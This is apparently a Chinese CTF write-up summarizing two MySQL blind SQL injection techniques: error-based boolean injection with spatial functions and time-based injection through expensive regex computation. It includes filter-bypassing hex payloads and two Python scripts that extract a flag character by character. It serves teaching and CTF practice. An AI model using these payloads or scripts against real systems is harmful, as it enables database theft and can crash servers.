百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 博客教程 > 正文

两种CTF中特殊盲注的总结 ctf 盲注

connygpt 2024-10-16 08:44 8 浏览

知识点实操概要

MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。以此掌握盲注原理!链接指路:https://www.hetianlab.com/expc.do?ec=ECIDee9320adea6e062017112114363500001&pk_campaign=toutiao-wemedia

前言

Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

SQL盲注基本知识

常用基本函数

  • IF(expr1,expr2,expr3)

若expr1为true,则返回expr2,为false则返回expr3

SELECT IF(TRUE, 'A','B') -- 输出结果:A
SELECT IF(FALSE,'A','B') -- 输出结果:B
  • ASCII(str)

返回字符串str最左面字符的ASCII值

SELECT ASCII("flag") -- 输出结果:102
  • ORD(str)

返回字符串str第一个字符的ASCII值

SELECT ORD("flag") -- 输出结果:102
  • CHAR(int)

将ASCII码值int转换成字符

SELECT CHAR(65) -- 输出结果:A
  • MID(str,pos,len)

从pos位置开始,截取字符串str共len个长度的字符

SELECT MID("Hello World", 3, 5) -- 输出结果:llo W

与SUBSTR(str,pos,len) 效果相同

  • LEFT(str,len)

返回字符串str左边部分共len个字符

SELECT LEFT("flag", 2) -- 输出结果:fl
  • SLEEP(duration)

duration是休眠的时长,以秒为单位,也可以是小数

SELECT SLEEP(3)
# [SQL] SELECT SLEEP(3)
# 受影响的行: 0
# 时间: 3.005ms
  • REGEXP

正则表达式,用来匹配文本的特殊的串(字符集合)

SELECT "FLAG" REGEXP "LA"    -- 输出结果:1
SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0
  • 其它
LENGTH(str) -- 返回字符串str的长度
DATABASE()  -- 返回当前数据库名
VERSION()   -- 返回当前MySQL版本

布尔盲注

根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。

SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1
SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2

据此可知数据库名的长度为4

时间盲注

通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。

SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应
SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应

据此可知数据库名的第一个字符为c

以下2道题目:flag在flag表的flag字段

在本地搭建靶机,用post传参,变量keywords接收

基于运行错误的布尔盲注

基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。

我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。

ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即:

SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )
-- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]

ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即:

SELECT ST_X(POINT(2,3)) -- 输出结果:2

但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面

SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1
SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

P.s.

ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。

需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。

其他可用的函数:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。

NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT


当输入1、2、3等数字时,页面返回Hello World


而当输入被过滤的关键字时,网页返回No Hacker

由此可以测试一些被过滤的关键字有:

'、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord


然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。

而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。

此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。

用if来进行盲注,'被过滤了,用十六进制绕过。

if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))
> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))

此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。

构造payload:

if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是f

if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

而第二个字符是char(108),也就是字符l


用python写个脚本

import requests

def fun(string):
    result = ""
    j = 1
    for i in string:
        if j != len(string):
            result = result + str(ord(i)) + ","
        else:
            result = result + str(ord(i))
        j += 1
    return "char(" + result + ")"

url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
flag = ""

for i in range(1, 50):
    for j in tables:
        if j == "{" or j == "}":
            j = "\\" + j
        payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (
            i, fun(flag+j))
        r = requests.post(url=url, data={'keywords': payload})
        if "Hello World" in r.text:
            flag = flag + j
            print(flag.replace("\\", ""))
            break


基于巨大运算时间的时间盲注

由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。

同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。

但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。

所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。

在此之前先了解几个函数

  • rpad(str,len,padstr)

对字符串str进行右填充,用padstr填充至str长度为len个字符

SELECT RPAD('hi', 5, '?') -- 输出结果:hi???
  • concat(str1,str2,...)

连接多个字符串为一个字符串

SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello
  • repeat(str,count)

返回字符串str重复count次后的字符串

SELECT REPEAT('ab', '3') -- 输出结果:ababab


构造payload:

1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)

也就是说如果flag的第一个字符为f的话,则会执行下面这句语句:

rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')

rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。

这样做的话服务器可能会崩

由于题目过滤了',所以用十六进制代替

1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)

以下两种图片用get传参测试时间延迟效果

猜中flag的第一个字符时:

而如果猜第一个字符为0x01,则为false,if返回0


所以我们可以通过大量的运算时间做延迟,进行时间盲注。

但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。

所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1


脚本来自Gqleung(http://www.plasf.cn)

import requests


def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i))
        r = r.replace('0x', '')
        result = result+r
    return '0x'+result


url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
result = ""

for i in range(1, 50):
    for j in tables:
        if j == "{" or j == "}":
            j = '\\'+j
        payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (
            ord2hex("^"+result+j), 5000000-i)
        try:
            r = requests.post(url=url, data={'keywords': payload}, timeout=3)
        except Exception as e:
            result = result+j
            print(result.replace('\\', ''))

timeout:设定超时时间,秒为单位 在设定时间内没有返回内容则返回一个timeout异常

若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出

相关推荐

自学Python,写一个挨打的游戏代码来初识While循环

自学Python的第11天。旋转~跳跃~,我~闭着眼!学完循环,沐浴着while的光芒,闲来无事和同事一起扯皮,我说:“编程语言好神奇,一个小小的循环,竟然在生活中也可以找到原理和例子”,同事也...

常用的 Python 工具与资源,你知道几个?

最近几年你会发现,越来越多的人开始学习Python,工欲善其事必先利其器,今天纬软小编就跟大家分享一些常用的Python工具与资源,记得收藏哦!不然下次就找不到我了。1、PycharmPychar...

一张思维导图概括Python的基本语法, 一周的学习成果都在里面了

一周总结不知不觉已经自学Python一周的时间了,这一周,从认识Python到安装Python,再到基本语法和基本数据类型,对于小白的我来说无比艰辛的,充满坎坷。最主要的是每天学习时间有限。只...

三日速成python?打工人,小心钱包,别当韭菜

随着人工智能的热度越来越高,许多非计算机专业的同学们也都纷纷投入到学习编程的道路上来。而Python,作为一种相对比较容易上手的语言,也越来越受欢迎。网络上各类网课层出不穷,各式广告令人眼花缭乱。某些...

Python自动化软件测试怎么学?路线和方法都在这里了

Python自动化测试是指使用Python编程语言和相关工具,对软件系统进行自动化测试的过程。学习Python自动化测试需要掌握以下技术:Python编程语言:学习Python自动化测试需要先掌握Py...

Python从放弃到入门:公众号历史文章爬取为例谈快速学习技能

这篇文章不谈江流所专研的营销与运营,而聊一聊技能学习之路,聊一聊Python这门最简单的编程语言该如何学习,我完成的第一个Python项目,将任意公众号的所有历史文章导出成PDF电子书。或许我这个Py...

【黑客必会】python学习计划

阅读Python文档从Python官方网站上下载并阅读Python最新版本的文档(中文版),这是学习Python的最好方式。对于每个新概念和想法,请尝试运行一些代码片段,并检查生成的输出。这将帮助您更...

公布了!2025CDA考试安排

CDA数据分析师报考流程数据分析师是指在不同行业中专门从事行业数据搜集、整理、分析依据数据作出行业研究评估的专业人员CDA证书分为1-3级,中英文双证就业面广,含金量高!!?报考条件:满18...

一文搞懂全排列、组合、子集问题(经典回溯递归)

原创公众号:【bigsai】头条号:程序员bigsai前言Hello,大家好,我是bigsai,longtimenosee!在刷题和面试过程中,我们经常遇到一些排列组合类的问题,而全排列、组合...

「西法带你学算法」一次搞定前缀和

我花了几天时间,从力扣中精选了五道相同思想的题目,来帮助大家解套,如果觉得文章对你有用,记得点赞分享,让我看到你的认可,有动力继续做下去。467.环绕字符串中唯一的子字符串[1](中等)795.区...

平均数的5种方法,你用过几种方法?

平均数,看似很简单的东西,其实里面包含着很多学问。今天,分享5种经常会用到的平均数方法。1.算术平均法用到最多的莫过于算术平均法,考试平均分、平均工资等等,都是用到这个。=AVERAGE(B2:B11...

【干货收藏】如何最简单、通俗地理解决策树分类算法?

决策树(Decisiontree)是基于已知各种情况(特征取值)的基础上,通过构建树型决策结构来进行分析的一种方式,是常用的有监督的分类算法。决策树算法是机器学习中的一种经典算法,它通过一系列的规则...

面试必备:回溯算法详解

我们刷leetcode的时候,经常会遇到回溯算法类型题目。回溯算法是五大基本算法之一,一般大厂也喜欢问。今天跟大家一起来学习回溯算法的套路,文章如果有不正确的地方,欢迎大家指出哈,感谢感谢~什么是回溯...

「机器学习」决策树——ID3、C4.5、CART(非常详细)

决策树是一个非常常见并且优秀的机器学习算法,它易于理解、可解释性强,其可作为分类算法,也可用于回归模型。本文将分三篇介绍决策树,第一篇介绍基本树(包括ID3、C4.5、CART),第二篇介绍Ran...

大话AI算法: 决策树

所谓的决策树算法,通俗的说就是建立一个树形的结构,通过这个结构去一层一层的筛选判断问题是否好坏的算法。比如判断一个西瓜是否好瓜,有20条西瓜的样本提供给你,让你根据这20条(通过机器学习)建立起...